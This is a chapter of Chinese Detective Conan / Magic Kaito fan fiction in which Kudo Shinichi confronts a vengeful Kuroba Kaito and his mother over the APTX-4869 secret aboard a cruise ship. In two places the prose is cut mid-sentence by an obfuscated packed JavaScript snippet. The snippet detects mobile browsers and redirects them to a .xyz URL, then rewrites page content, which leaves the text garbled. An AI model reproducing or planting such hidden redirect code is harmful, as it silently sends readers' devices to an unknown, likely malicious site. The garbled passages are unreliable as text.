“名侦探可是能够三番五次阻挠我计划的大人物,作为对手,我对您自然是一见钟情。” “如果这句话只是对我作为侦探的水准的认可,我就姑且收下。” 没有人知晓,工藤新一此刻的眼睛寒冽得胜过夜晚飘雪的东京,攥紧的手机硌得掌心生疼,他勉强稳住声线保持冷静。 “但若这只是你用来矫饰多情的花言巧语,小心别被我遇上你作为被害者的情杀事件。” “哇啊,好恐怖的威胁。好在我觉得我姑且算是专情的。” “骗子。” “喂……就算你是名侦探,无凭无据的指控也算诽谤吧?” 工藤新一的轻笑混着呼吸的白雾消散在雪夜。这是他此夜第一个笑容,却只将唇角勾起一个弧度,眼底反而凝着比落雪更沁骨的寒意:“那么,你敢让我找出真相吗,谎言家先生?” “如果是与我棋逢对手的你,我想这会是个哪怕我满盘皆输也不后悔的挑战。” 电流所转化的低柔声线里带着滋啦滋啦的杂音,他淡然道:“我相信终有一日你会战胜我,但绝非此刻。” “看来作为乌鸦的这些年让你变得更加狂妄了。”工藤新一按捺着心中怒意,压抑地质问,“但是黑羽快斗,你这样做,得到的结果是你真心想要的吗?这样一个没有任何人能被救赎的未来……” 名侦探工藤新一早已心知凡人力有局限,自己不可能拯救所有人,可是唯有一个人,唯有他的宿敌黑羽快斗,工藤新一无论如何都想把他从深渊里拽出来。 “工藤新一。” 对方轻轻用平静的声音打断了他的质疑。 “你已经竭尽全力地去救赎世人,但你这样做,能救得了你自己么?” 工藤新一为这意想不到的诘问怔住。 没有答案来回答,或者说,他不能回答。 双唇像是被线缝上,一旦擅自开口,就会有什么血淋淋的东西被揭开。 没有人会想要知道的,那种寄宿了他的一厢情愿和自以为是的所谓真相,只由他自己来背负才是最优选择。 全世界最了解他的宿敌似乎从他固执的沉默中读懂了什么,当即笑得张扬又讽刺:“呵呵,我说你啊……作为工藤新一而活,对你有那么重要么?” 黑羽快斗和工藤新一,他们一直是同一类人。 “不痛苦吗?” 这句暗藏悲悯的话语,像在提问工藤新一,又像是那个抛弃了自己名字的人一句无望的自问。 侦探对此缄口不答,他下意识望向大雪纷飞的夜空,才意识到,这是一个无星无月的寂寞午夜。 在这光怪陆离的世间,很多人光是按照自己的方式活着就已经要竭尽全力。 但是对另外一些人来说,他们自身的命运决定了世界注定秘密丛生,为了达成某种超越常规的祈愿,不得不在交纵错杂的虚实之间切换成不同的面貌和身份,于是拥有了截然不同的割裂人生。 或许太过辉煌的回忆会蒙蔽人对时间流逝的知觉,直到现在,曾经那么多明月升起的夜晚还驻留在侦探的心间。钟楼的第两万次钟声,愚人节里飞燃盛放的花火,还有无数月下出逃的白鸽。 它们温顺地簇拥着总是心血来潮的怪盗先生,优雅梳理翎羽,与主人纯白无瑕的礼服相映生辉。 工藤新一从来没有忘怀过那个夜晚,长街彼端的宿敌回望向他的眸光里泛出笑意,他在那双眼睛里看见了属于他们的所有高风呼啸的午夜。 纯净的、隐秘的、蛊惑的、疯狂的。 “名侦探,你解得开这个谜题吗?” 工藤新一一度以为那是宣告他们故事开始的信号,往后平成时代怪盗与侦探的传说将在无数次月下对决中延续下去,或许命运会有意想之外的展开令他们彼此都大吃一惊、眼花缭乱,或许他们的关系还会发生前所未有的大变革和大进展,作为谜底,以彼此的另一个名字,另一个身份,在月光隐逸以后日光闪烁的天幕下露出无懈可击的笑容再次邂逅。 但是最终他们以真实的自我相会的记忆,没有谜题,没有魔术,没有推理,也没有照亮彼此的月光。 只有磅礴大雨淹没了外界窥视的时光隅隙,天地嘈杂,黑暗笼罩,在他们即将遍体鳞伤地踏过刀山斧海,就算血流成河也无人知晓的未来前夜,只有彼此流淌在地上冰冷交融的鲜血,构成了对抗世界恶意的最后一道防线。 谁曾想过,那最后一道防线后来也被命运的洪流彻底击溃,带有太多遗憾的雨夜竟成为他们年少时代的最后诀别。 现在时光轮转,已是工藤新一宣布回归的第十年,也是黑羽快斗宣布死去的第十年。 一阵猛烈的寒风惊醒了眼神飘远的侦探,他听见迎面袭来的骤风与手机里呼啸的声音同频呼应,忽然意识到了什么,心有所感地环视头顶林立的摩登高楼,终于在某处顶层遥遥窥见一抹熟悉的身影。 尽管随风摇晃的黑色兜帽将对方的脸孔遮掩得若隐若现,然而居高临下的视线却形同利剑,凛冽地刺进侦探心底最柔软的角落。 黑羽快斗与工藤新一曾经一帆风顺的人生剧本在他们16岁的时候迎来骤变,日常生活一夜脱轨,从此身不由己地卷入地下世界的庞大阴谋,尽管后来众所周知的故事迎来收场,身为主演的他们实质依旧困囿于此,埋葬了整个青春时代,将真正的自我都遗留在了那个一意孤行的倒错世界。 工藤新一从选择吞下APTX-4869的解药时就已知晓,作为逆转变小诅咒的代价,他余生都无法摆脱骨血消融一般的痛苦。 返老还童的异变使他自身的基因链被永久性地改变,他要想留存于“工藤新一”这个角色之中,跟上时间前进的脚步,就必须长期使用解药抑制异变基因的作用。 解药的副作用是一些相似基因的活性同样被大幅抑制,这副身体的自愈能力因此被削弱到极致。就像一个看起来还维持着完整外观,内在却浸泡在福尔马林里的濒死肢体,距离彻底崩溃只是时间问题。 伴随近两年抗药性逐渐显现,工藤新一冥冥之中有所预感,一切谎言的崩毁之日已经越来越近,此后未来的每一天,他都不再能保证次日的工藤新一能否存在于世。 直到最后,工藤新一都没有询问黑羽快斗如何发现了这个秘密。 他们实在使用过太多不同的身份去面对彼此,就算时过境迁,也无法改变心中永无止尽地对抗着又遥相呼应着的默契。 就像多年以前,对方以绝对大胆的敏锐锁定了江户川柯南的真实身份,工藤新一也对黑羽快斗的作案动机有着超乎常人的精准预感。 十年前被贝尔摩得完全销毁的APT ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657893|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' X-4869数据,汐留火案中的被付之一炬的研究资料,还有这次绑架灰原哀的事件更不必说,目标指向了同一个根源,一种能让人不会衰老的药物。 找寻真相的方向非常明确,侦探心想,关键在于对方作为怪盗时一直寻觅的宝石——号称能让人长生不老的潘多拉。 他想让永生的传说彻底破灭么? 工藤新一找到灰原哀以后,对方很快从昏睡中苏醒过来。她回忆着自己失去意识前的遭遇,逐渐觉察到不对劲。 灰原哀发现自己再也想不起来有关APTX-4869的一切记忆,这种药物的原理、构成、数据,就像生生被黑墨水涂抹覆盖了一样,强行回忆反而使她的大脑疼痛不已。 “糟糕,那解药……” 她一阵慌乱,看向工藤新一的目光满是担忧,但陷入自己世界里的侦探却似乎在思考着别的事情。 他靠在墙上,双手抱臂,头颅后仰,面孔全然落进阴影里。 沉默的人没有因切身相关的噩耗轻易陷入恐慌或是感到消沉,而是维持着一种若有所思的状态,各种纷繁复杂的线索不断在他的脑海里飞舞交织。 一阵寂静过后,工藤新一才回神,他留意到灰原哀面上的仓惶,反过来安慰她别太自责。 “本来就是我该说对不起,抱歉把你牵扯进来。” 工藤新一不知道的是,他的话反而让灰原哀心中涌起一股要流泪的冲动,她想说你才是。本该光明灿烂的人生被那种毒药弄得千疮百孔,已经是摇摇欲坠了,什么时候才能为自己的未来多着想一些呢? 他只是在思考,既然灰原哀替代了铃木园子留在这边,那被替换了身份的铃木园子当下身处何处的答案也就昭然若揭了。应该是在海上保安厅的船上吧。让工藤新一在意的是那边为何至今都没有传来讯息。是也被动了手脚,还是……侦探缓缓拢起眉头。 中森警官早已走出房间喊人联络海警去了。 铃木园子作为莎莉贝丝皇后号的最高负责人,本该由她来接待即将到来的外宾,但工藤新一留意了一下时间,经过半天的耽搁,两艘船的航向又背道而驰,这个时间差已经让对方掉头回来变得太迟,她肯定赶不及在宝石交接前回到莎莉贝丝皇后号…… ——嗯? 电光石火间,似乎有什么经过侦探的思绪,预告着他的对手即将完成的最后诡计。 “工藤君,你……小心点。” 工藤新一准备离开房间的时候,身后传来灰原哀忧心忡忡的话语。 “那个人的危险程度绝对远超我们的想象,你千万不能对他掉以轻心,一定……一定要平安回来。” 他拉开屋门的动作停在一半,侧脸的角度使光影将脸孔分为明暗两半,情绪都被敛低的长睫所遮掩。 这让凝视他的人感到不安的预感在每一个细胞里吸水膨胀。工藤新一的周身萦绕着一种太强烈的宿命气息,仿佛他这一次的离开注定将是一去不回。 “不用担心。”侦探看了她一眼,背过身时随意地摆了摆手,“只有这个对手……此生此世,我都不会输。” 白色的莎莉贝丝皇后号在海上如同滑翔一般默默前行。 这艘邮轮作为铃木财阀名下的奢华私产,下水服役十数年,远航行迹遍布全球,期间经历了铃木家两代掌舵人的交替更迭,可谓是历经风云。但鲜为人知的是,这艘豪华邮轮同样见证了一对世纪竞争对手最初与最后的正面对决。 时隔多年工藤新一都还记得他第一次捉住黑羽快斗时雀跃的心情。那个送出了神秘预告函的古典小偷,从天而降的月下魔术师,愚人节欺骗了他和无数警官的刻薄艺术家,随手就能破解铃木夫人黑珍珠谜题的高智商犯罪者,自以为天下无敌的国际大盗,却唯独被他发现了伪装的马脚。 任你是再精明的谎言家也逃不过我对真相的灵敏直觉。彼时的侦探望向伪装成毛利兰的怪盗,注视着对方那双透出好奇和审视的眼睛,压抑不住的笑意几乎要从眼底漫出来。 “我找到谜底了。” 工藤新一故作神秘地压低声音。 在船上众人都因黑珍珠的爆炸和失窃陷入混乱的时候,侦探牵起怪盗的手,在对方趁乱脱身前收紧了掌心。 “优秀的艺术家往往都是死后才成名的,就让我来成全你,把你埋葬吧……” 他迎向那双浮光揭去后兴致澎湃的锐利眼睛,也针锋相对地扬起个意气风发的笑容。 后来那个时候未曾终结的胜负,一直不由分说地纠缠着互为宿敌的他们,在往后余生中,越是迈步前进,那段记忆的色泽就越是光彩鲜明。 然而当时无论是谁都无法料想,那天针锋相对的话语有朝一日居然将会一语成谶,无形的命运让他们再次以宿敌的名义在故地狭路相逢。 “但是,你真的甘心埋葬自己的过去吗?” 脑海中浮现出黑羽快斗那双满是冷然的眼睛,工藤新一动了动唇,声音低得几不可查,随着微弱的气流消散在空气里。 随着天色渐明,海上起了大风。 夏季洋流活跃,高温为海天之间蒸腾起更丰沛的水汽,将天象搅动得更为诡谲。一边是从遥远的海平线那端渗开的浅淡金光,气势如千军万马的流云从上空飞渡而来,另一边是毫无预兆笼罩了大片海域的弥天大雾,哪怕晨曦将至,海面以下的世界仍旧沉没在无限漆黑的深影里。 仿佛在呼唤着什么,远航的邮轮发出一声悠长的汽笛声。 工藤新一走到露天的沿廊上,蓦然向外远望,一种即将结束的预感涌上心头。 就像自己所在的这艘船,无论接连上演多少变幻万端的攻防剧目,它都始终不渝地驶向终途,指向工藤新一与黑羽快斗的宿命。 把风雨和灾难都纠缠成淋湿彼此的信使和情书,盛大地、无怨无悔地,共陨于海与天犹如永世情人的对望中。 永远对抗,永不相融。 24.File 24 风声越来越大,迎面的空气中渐渐掺杂了细小的水珠,扑打在面庞带来潮湿的沁凉,顺着皮肤缓缓渗透进神经末梢。 不知这样等待了多久,工藤新一抬手拨开被风吹乱的刘海,才看见视野尽头的茫茫海雾中破开了一线缝隙,一艘海船从巨大的黑色阴影中平缓驶出。 紫荆花图案的商船旗帜在风中猎猎飞扬,来者的身份已然不言自明。 那即将展现于世人眼前的宝石,是否像潘多拉的魔盒一样,会为天下带来灾难…… 工藤新一收回视线,缓缓松开了握紧扶栏的手指,脸孔上的情绪不露于色,唯有转身的瞬间稍纵即逝的一个眼神,勾起无限深意。 ——很快就能得见分晓。 在与黑船赛琳娜号会面后,由于原定的主事人铃木园子未能出席接待外客,为了不引起船上人员的慌乱,船方与警方达成的对外一致口径是说她身体不适。 作为替代,铃木家派出一位名叫铃木耕生的年轻人出来主持大局。为防意外再度发生,他在一干警官的护卫下与对方在甲板上交谈,话题中聊起今夕即将举办的晚宴,以及宴会上预备展览宝石的若干事宜。 先前中森警官还担心年轻人可能在会谈中落于下风,所幸铃木家对下一代的教育相当优秀,尽管铃木耕生早晨才得知铃木园子身体抱恙,此刻他早已收拾好了初闻消息时的慌乱,脸上扬起无懈可击的精明笑容,眼神毫不露怯,举止言谈都展现出落落大方的大家底气。 “欢迎诸位来到莎莉贝丝皇后号,很荣幸我们铃木财阀能有机会作为全世界大宝石爱好者的先锋,为大家解开这个世纪谜题。” 说着这些话的时候,年轻人含笑的视线从对方身后的保险箱上一掠而过。 意味深长的神色从他眼底悄然走过,随后铃木耕生从容地展开手臂,向来客指引参观的方向:“诸位请这边走,船舱一层的中央大厅就是我方为展示宝石预备的专用展区。请容我为各位介绍,本次展览配置了铃木财阀最尖端的安保系统……” 铃木次郎吉亲手设计的观览舞台,正如这位前代总顾问一贯高调的作风,华丽装潢将铃木财阀的豪富彰显得淋漓尽致,贯通至顶层的玻璃展柜被汇聚于中心的璀璨灯光照得闪闪发亮,张扬至极地吸引着每一个来到中央大厅的人。 360°无死角的监控摄像头、展柜内的红外感应装置、入口的金属探测器,甚至安全线以内还埋设了感应电击装置。 完全是应对世界级怪盗规格的防范装置。 “真是了不起的设计……” “是啊,而且也兼顾了展示效果。” “值得参考……” 来客们面露赞叹,为铃木次郎吉的巧思惊叹不已。铃木耕生见此微微一笑,正打算将他们带往仓库检验本次用来交换宝石的沉船文物,却见他们当中有一人忽然抬起头来,好奇地问:“听说贵方这次为了阻止那位国际大盗,还特地邀请了传说中神通广大的名侦探工藤新一,怎么至今没看见他的身影?” “工藤先生一贯有自己的主张,我们也不清楚他的行踪。”铃木耕生笑着耸了耸肩膀,随意道,“可能是去哪里寻找Kid了也说不定?天才总是不走寻常路。对了,您特地问起他,莫非是他的粉丝?” “呵呵,算是吧。”那商人说,“好歹也是你们用大代价换去的宝石,我当然不希望Kid恣意妄为的行径得逞。毕竟……” 对方声音顿了一顿。 “刑侦专家正是犯罪专家的天敌,不是吗?” “天敌啊……”铃木耕生眼神微动,缓慢重复了一遍他的话语,不知为何,声调有瞬间让人感到意味深长。 在对方只觉得似乎转瞬即逝的须臾之间,那个年轻人唇角勾着和善微笑的样子虚幻得像是藏在一团黑雾当中,眼底暗转流光,裹着层邪气横生的锐意。 但在他来不及反应的刹那,铃木耕生就已经垂下睫毛,畅快地笑了一声。 “很有道理。” 仿佛先前一刻的异常皆是谬觉,黑雾再度凝成了完美无瑕的人形。 无论如何寻觅,那个极度危险的眼神都已经消失无踪。 用于交换宝石的文物清单在洽谈时就已提供给对方,由于站在组织那一派系的政客对这次交易势在必得,他们展现出了前所未有的诚意,从里斯本丸号沉船中打捞出的财宝几乎都记录在列。 一行人来到储物的船舱,铃木耕生吩咐船员打开货柜,有条不紊地清点起清单上罗列的文物,而商会那边则派出数人分头校验。 负责保护这位铃木家小公子的警员们注意到,那些外国商人偶尔会用他们听不懂的语言互相交流,那发音既不是中文,也不是英语,但铃木耕生似乎也对这种语言极为了解,偶尔笑着与他们谈笑几句,然后指挥船员把货物封存装箱,运送到对方的船上。 多亏他这番长袖善舞甚至堪称老练的社交手腕,仅用去一个上午,双方就在融洽无间的氛围中完成了约定的交接,让随行护卫的几位警员也暗中松了一口气,他们此行的任务可算是完成了一半。 剩下另一半……嗯,那位怪盗,还是让中森警官和工藤侦探去烦恼吧。 随后双方完成了最后一些手续文件的签署,重新回到船上一层的大厅。他们一行人的形迹非常显眼,很快吸引了不少人的目光。根据过往的传统,铃木财阀特别邀请了他们熟悉的媒体记者,专门负责播报和宣传他们将在豪华邮轮上开办的宝石展览,此刻便有通过了身份检查的记者和摄像跟了过来,双方于是在镜头下说了一些有关和平交流和历史传承的场面话。 “交易愉快。”对方商会的领队人物与铃木耕生握了握手,面上和善的笑容有一瞬间似有深意,很快又被慈祥的表情掩盖,“哎呀,真是长江后浪推前浪,你们家先有园子小姐那般心怀大格局的继任者,后有耕生先生这样锐意进取的年轻人,真是让我不服老都不行了。这人一旦意识到时间易逝,就总是心心念念把过去失去的东西再找回来,真是让人见笑了。” “您实在过誉了。”铃木耕生回应的口吻非常客气,“我与诸位在此相逢也是有缘,不介意的话,能让我有幸代表铃木财阀邀请大家参加今夜的展览吗?” “虽然我们都很乐意……”领队和商会团的众人对视了一眼,歉意道,“但是很遗憾,我们带着任务出海,必须尽早回去交差。不过为了不辜负耕生先生的好意,就让这位嘉先生代替我们留下来吧,他正好有一桩生意打算与园子女士商谈。” 领队向人群中一男子颔首示意,正是先前出言问起工藤新一下落的中年商人。 “这是我们的荣幸。”铃木耕生闻言对那位嘉先生一笑,“请您、所有来宾……还有诸位观众都尽情享受本次航程中最为热烈盛大的宴会吧。” 年轻人最后稍侧过头来,俏皮地朝镜头比了个wink,这个动作被随行的摄影们扛在肩头的长枪短炮悉数捕捉,经过数分钟的信号延迟,在各大频道实现了高清放送。 那张呈现于荧幕上的脸孔在见惯了俊男美女的娱乐圈中充其量只算得上是相貌端正,电视台的导播却极给面子地让这一幕的特写持续了两三秒,电视画面聚焦于他不似会谈时沉稳和气的模样,虽然唇角的笑容依旧矜持,但眼神有刹那透出一丝冰凉的蛊惑,根根睫毛的颤动都鲜明无比,整个人的气势在那瞬间转为极盛,竟使得节目后来数分钟的收视率居高不下。 “终于——今夜八点,就在八点!”节目主持人激动地说道,“这颗被怪盗Kid宣告夺取的世纪宝石,很快将在铃木财阀的豪华邮轮莎莉贝丝皇后号上揭开神秘面纱。电视机前的诸位观众们大概也与我一样感到好奇吧,这究竟是一颗拥有着何等魅力的大宝石,竟连神出鬼没的怪盗Kid都无法抵御其诱惑?今夜八点,我们将一同通过直播见证这一跨世纪的奇迹……” 此刻铃木本家的家庭成员们也齐聚一堂,一齐观看着电视上的报道节目。熟悉铃木耕生的人都对他在电视上的优秀表现颇感意外,悄声议论起对方忽然情商开窍的可能性,而在另一边,铃木园子的姐姐绫子也忍不住面露忧色。 “爸爸,这样真的没问题吗?我听海警那边说园子吸入了过量的麻醉药,一直都没有苏醒……” 坐在沙发中央的铃木史郎也是一脸担忧,沉吟着道:“听说没有生命危险,既然她被提前送了回来,等到这边的医院再好好检查一下吧。” 铃木朋子抱怨:“都说了别让那孩子轻易答应上面的无理要求了,就算是议员也没有对我铃木家指手画脚的权利,她还说有自己的考虑,是想帮一个朋友……真是的,不知道她打的什么主意。” “就是!甚至还千方百计阻挠我参与!”铃木次郎吉说起这个就满脸不服气,吹胡子瞪眼地道,“我要是在船上,绝不会放任那个怪盗轻易得逞!” 绫子的丈夫富泽雄三突发奇想:“该不会她就是想帮那个身份不明的怪盗吧?” “啊哈哈,怎么可能……” 其他人对他天方夜谭般的猜想不以为意,过了一会儿,有人若有所思地看着电视中播放的画面,小声地疑问说:“奇怪了,耕生不是上周才抱怨说最近胖了一些,穿不了Berluti的那套新款西装?我看倒是很合适,在电视上的感觉比平常还帅气一些……” 这句微不可闻的嘀咕没有被任何人所注意,在家庭成员谈论着此次远航诸事的期间,电视上的主持人继续播报起下一条新闻。 “今年最值得期待的宝雷彗星即将进入可观测期,根据国立天文台的预测,这颗彗星将在今夜接近地球,届时其最大亮度有望达到2等,如果爆发,其最大亮度甚至可能超过0等,成为‘年度最闪亮彗星’……” 随着夜晚临近,有关彗星即将经过地球的新闻开始被密集地讨论和报道,之所以在船上被特别转播并引发关注,是因为最佳观测点恰好覆盖了他们航线经过的海域。 工藤新一来到中央广场时,视线在上方的广告大屏上停留得格外久。他想起黑羽快斗失忆期间曾随口提过,对方以前会用计算天体轨道的方式打发时间。既然那人对宝雷彗星的降临如此在意,此次由香港商会择定的会面地点也极有可能是他精心策划的结果。 经过一个白天的搜寻,工藤新一终究还是找到了逃走的海鸥。但当他根据监控提供的线索赶到某个隐蔽区域时,那名野心勃勃的组织成员却已经倒在地上,身下蔓延出一片血迹。 “看来有预定外的客人到访。” 听见工藤新一破门而入的声音,站在尸体旁的杀手才不慌不忙地转过身来。随着对方只能用游刃有余来形容的动作,一道折光晃过侦探的眼睛,冰冷、凛冽,刺目得给人带来近似晕眩的错觉。他定睛看去,原来是一枚白玫瑰形状的钻石胸针。 船舱里流动着微弱的凉风,轻柔拂过皮肤的空气被杀机所侵染,带起让人悚然的战栗。 从外表看来,对方简直是连现今上流社会都不多见的古典淑女,肤色如雪,红唇靡丽,无论是遮面的黑纱礼帽还是风情万种的黑色法式长裙,都为她增添了一分神秘危险的气息。 但纵使眼前女人的笑容矜持而冷艳,工藤新一都不会忽略她仅用一柄短刀就夺去海鸥性命的事实。 身为在这艘船上犯下两起杀人罪行的真凶,却衣着整洁得看起来随时都能去赶赴一场交际舞会。杀人现场极为干净,对方精妙的下刀角度使本该四处喷溅的血液被阻隔并回流到气管,让海鸥在极度的痛苦和窒息中清醒地感受生命消逝的恐怖,最终,利落抽出的刀刃上只残留着暧昧万分的粉光,一滴血都没有飞溅出来。 “找来得真快啊,侦探先生。”她似笑非笑地说,“果然如‘他’和莎朗所言,对你不可有半分轻视。” 这里的“他”指的是谁,在场的二人都心知肚明。 工藤新一鬓边带着薄汗,轻喘着站定在原地,缓慢地平复奔跑后微急的呼吸,随后他眼睫低敛,视线迅速地从海鸥的尸体上一晃而过,脸色镇静得令黑羽千影暗自稀奇。 无知者自然无畏,但熟知黑羽快斗的工藤新一不可能错认她的身份。 曾在昭和时代活跃于世界舞台的怪盗淑女,和后来平成年代才声名鹊起的怪盗Kid不同,相较于后者得心应手的惊世骗术,她以超一流的潜行身手扬名业内。鉴于她精通冷兵器格斗,作风比Kid更为复古,多国警方的案卷中都不乏关于怪盗淑女出身于欧洲老牌暗杀世家或者黑手党的推测。毫无疑问,她是真正的危险人物。 另一个足以佐证对方真身的证据是工藤新一的挚友服部平次这十来年剑术愈加精进,面对神隐多年后才复出的黑羽快斗,切磋时竟差点吃了大亏。工藤新一自那时便确信,他那诡谲的身手十有八九源自对方曾玩笑般提及的母亲,同样与初代怪盗Kid关系匪浅的传奇女性。 “我猜想他的目的只是封锁APTX-4869的秘密外泄,没错吧?” 尽管是疑问的句子,工藤新一却用无比笃定的语气将其诉诸于口。 面对这样一个他无法靠行动阻止的对手,他不躲不闪的眼神深处透出一点洞察的辉光,饱浸了职业性的冷静和理性,又怀着一丝对宿敌绝对熟知的隐秘自负,气势丝毫不落下风。 “这是忠告,不要做他计划外的事。” 黑羽千影凝视着他的眼睛,不知不觉生出兴味。在乌鸦已将无数仇敌逼至末路的当下,这位侦探竟仍能理智判断出他的真正目的,果然很不简单。 “证据呢?” “如果他打算将黑羽以外的所有知情人都封口了事。”工藤新一沉默片刻,露出自嘲的笑,“我才是他应该第一个下手的对象。” 然而,就算投身复仇,黑羽快斗也还是目下无尘的怪盗,永远不会践踏他自己的骄傲。 黑羽千影欣赏地望着工藤新一。 “你的结论正确,但也不完全正确……” 她褒奖似的轻轻拍了拍手,像是在模仿夸奖优秀学生的老师,眼中带着怪盗与生俱来的倨傲。 “这个世上的人们各自具有不同水准的才能和器量,才能不足的人无法触及秘密,器量不足的人无法保守秘密,但要是二者兼具的人物,便拥有了掌握秘密的特权。” 她忽然收起匕首,对这位成就不凡的年轻侦探露出一个玩味笑容。 “那小子的意图已经被你猜中到这个地步,着实有些出乎我的意料。”黑羽千影轻笑道,“作为世上最理解他的人,这是你的幸运,也是不幸……” 侦探君。 最后的三个音节只有气声,冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662355|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暧昧的气流却仿佛拂上了工藤新一的面颊,带来入骨寒意。 其实工藤新一心知他能如此与黑羽快斗同频相应,不过只是因为他们是同一类人。 对于自己所选择的道路,无论需要付出多么沉重的代价,都不会低头败退。 思绪回归,工藤新一收回自己放在电视大屏上的视线,转过身正打算离开,猛然窜过脊背的气息却令他的心跳陡然乱了一拍。 就在工藤新一神情骤然一凛的时候—— “喂,名侦探。” 背后传来悄悄话一般的低语,伴随着侦探无法忽视的冰冷气息。 “你说啊,那么辉煌的彗星,会给这个地球带来新人类吗?” ——是乌鸦。是黑羽快斗。 虽是隔了一段距离,周围人来人往,工藤新一却仿佛能从他模糊不清的音色中辨认出,此刻定然有一丝微妙的笑意浮现于对方的脸庞。 “不是总有灾难电影和小说这样写吗?伴随着一颗非同寻常的流星坠落大地,或是一场绚烂得超乎任何人想象的流星雨划过夜空,异变骤然降临全球。在被后来人称其为新纪元前夕的黑暗时代,绝大多数的人类葬身于这场浩劫,仅剩下来的一部分人因此丧失了知性,变成只受本能支配的怪物,而另一部分人则在保留智慧的同时又得到了更强韧的身体,实现了所谓的种族进化……” “这个说法压根不合理。流星和陨石这类天灾给生物带来的辐射性危害往往具有随机性,基本不可能出现群体一致的突变。”工藤新一说,“能造成这类现象的原因只有一种。” 说到这里他的眼神略向斜后方低了些,尽管巨大的柱子遮挡了大部分的视野,但仅凭光可鉴人的地面,也可窥见对面另一个少年的身影。 黑色的冲锋衣、棒球帽,双手插在裤兜里,乍一看只让人觉得桀骜不驯,冷淡的下半张脸都藏在衣领里,只露出高挺的鼻梁,微翘的发梢从帽檐底下漏出几缕。 那少年笑了笑,像是通晓了工藤新一的想法一般。 “没错,那不是天灾,而是人祸。” 黑羽快斗望向地面上倒映着的、自己那张十年来都毫无变化的脸孔。 如同某种诅咒,他的时间永远地停留在自己抵达19岁的前夕,汐留火案的受害者名录里不会存在他的名字,但黑羽快斗作为普通人的人生彻底在那场烈火中宣告落幕。自此以后,他不再长久地经停于任何人的人生,无论日升月落,花开花谢,都再也留不住他的脚步。 “所以你一定能理解我,工藤新一。”他道出侦探完整的名姓,虽是不带任何个人情绪的淡漠语气,工藤新一却为他清晰指向自己当下身份的称呼微微心悸。 因为他知道他们都再也回不到过去。 在这人流汹涌的大厅,他们渐渐静止的世界却笼罩在绝对的寂静与孤独中。 自己命中注定的宿敌,黑羽快斗从来是个要被所有人偏爱的人。他明亮、高傲、自命不凡,声音里总是掺杂着游刃有余的灵动笑意,犹如夜空中独一无二的明月,不讲道理地吸引着全世界的视线。就算工藤新一早就看穿,那位白西服先生的礼帽阴影下方躲藏着一双属于同龄人的狡黠眼睛,彬彬有礼的举止只是假象,然而,对方台前幕后所展现在他眼中的许多感情却绝非虚假。 对魔术的热忱,对怪盗的虔诚,对挑战的激情,对浪漫的向往。 还有,在迎向工藤新一的时候,时而惊奇、时而挑衅、时而欣喜,最后总会变得格外温柔的表情。 ——名侦探。 黑羽快斗怀着与有荣焉般的自豪语气,这样光明正大地称呼着他,心中妥帖地存放着小学生侦探攸关生死的最大秘密。 但是……工藤新一垂在身侧的手指不知不觉地扣进手心。 他一直都没有办法去构想,徘徊于生死边缘的那段漆黑无光的时日,究竟夺走了黑羽快斗多少至关重要的东西。黑羽千影将汐留火案的现场清理得太过干净,无论是黑羽盗一的尸体,还是能证明黑羽快斗曾在现场的痕迹,都没有被留存下来。 作为结果,黑羽快斗存在于世的牵绊几乎在那场浩劫中被悉数切断,仅有的切入口是后来他极为低调的葬礼,那具面目全非的遗骸在工藤新一的心底刻下了永久的怀疑。 他不想去确信。他不能轻易相信。 那么精彩纷呈的一个人,怎能默默无闻地葬身于世界上最黑暗的渊底。 直到他们在针锋相对的战场上久别重逢,工藤新一凝望着黑羽快斗封冻了所有光亮的荒芜眼睛,像是从宇宙最寒冷的黑暗中舀出的一勺极夜,泼洒在无法再照见日光的脱轨月球上,一个人永恒地,在失去了终点的旅途中孤独漂流。 侦探的心脏在短暂地急促跳动之后当即被抛落到了更加深冷的海底。 不应该是这样的,你理应拥有更加光鲜亮丽的未来,而不是这样自欺欺人地封印自己,舍弃那些刻骨铭心的过去和感情,把对未来的一切期许都埋葬在谁也找不到的内心深处。 “你既然已经知晓真相,有没有打算放我一马呢?”黑羽快斗忽然笑了一声,声调上扬的揶揄里涌动着薄暗的悲悯,“毕竟,你不也算是受害者么?” 为了彻底灭绝潘多拉的存世资料,他自然对根据残篇开发出的APTX-4869报以密切的关注,据此知晓了工藤新一恢复身体后的又一桩秘密也不足为奇。 历经多年的研究,APTX4869的开发者灰原哀终于得出一个相当于死亡宣判的结论:药物对人体的改变不可逆转,解药只能在一段时间内抑制它产生的变化,一旦停止使用,工藤新一的时间将会再度倒退,回到他永远无法摆脱的少年时期。 发生在他身上的故事就像童话里想要变成人类的美人鱼。 要想延续自己作为工藤新一的人生,这位侦探就必须持续服下解药。 而当他每次吞下解药,工藤新一都必须忍受一次敲骨沥髓般的剧烈苦痛。 就算代价残酷至极,17岁的工藤新一仍是选择了这条遍布荆棘的血路。 然后就这样穷尽一切地和极尽所能地追寻真相。 最后成为了世人皆知的、没有迷宫的名侦探。 工藤新一对这个问题讳莫如深,过长的眼睫轻轻遮掩住了他眸底愈见沉凝的神色。 “不一样的。”他说。 “哪里不一样——”那少年咄咄逼人道,“你骗不了我,要论说谎,我才是行家。本来我就是世界上最了解你的对手,你也是最了解我的侦探。所以这些年我不想再看见你就是这个原因啊!因为我们一旦相遇,必然伴随着将自身的秘密同等程度地暴露给对方!” ——你已经竭尽全力地去救赎世人,但你这样做,能救得了你自己么? 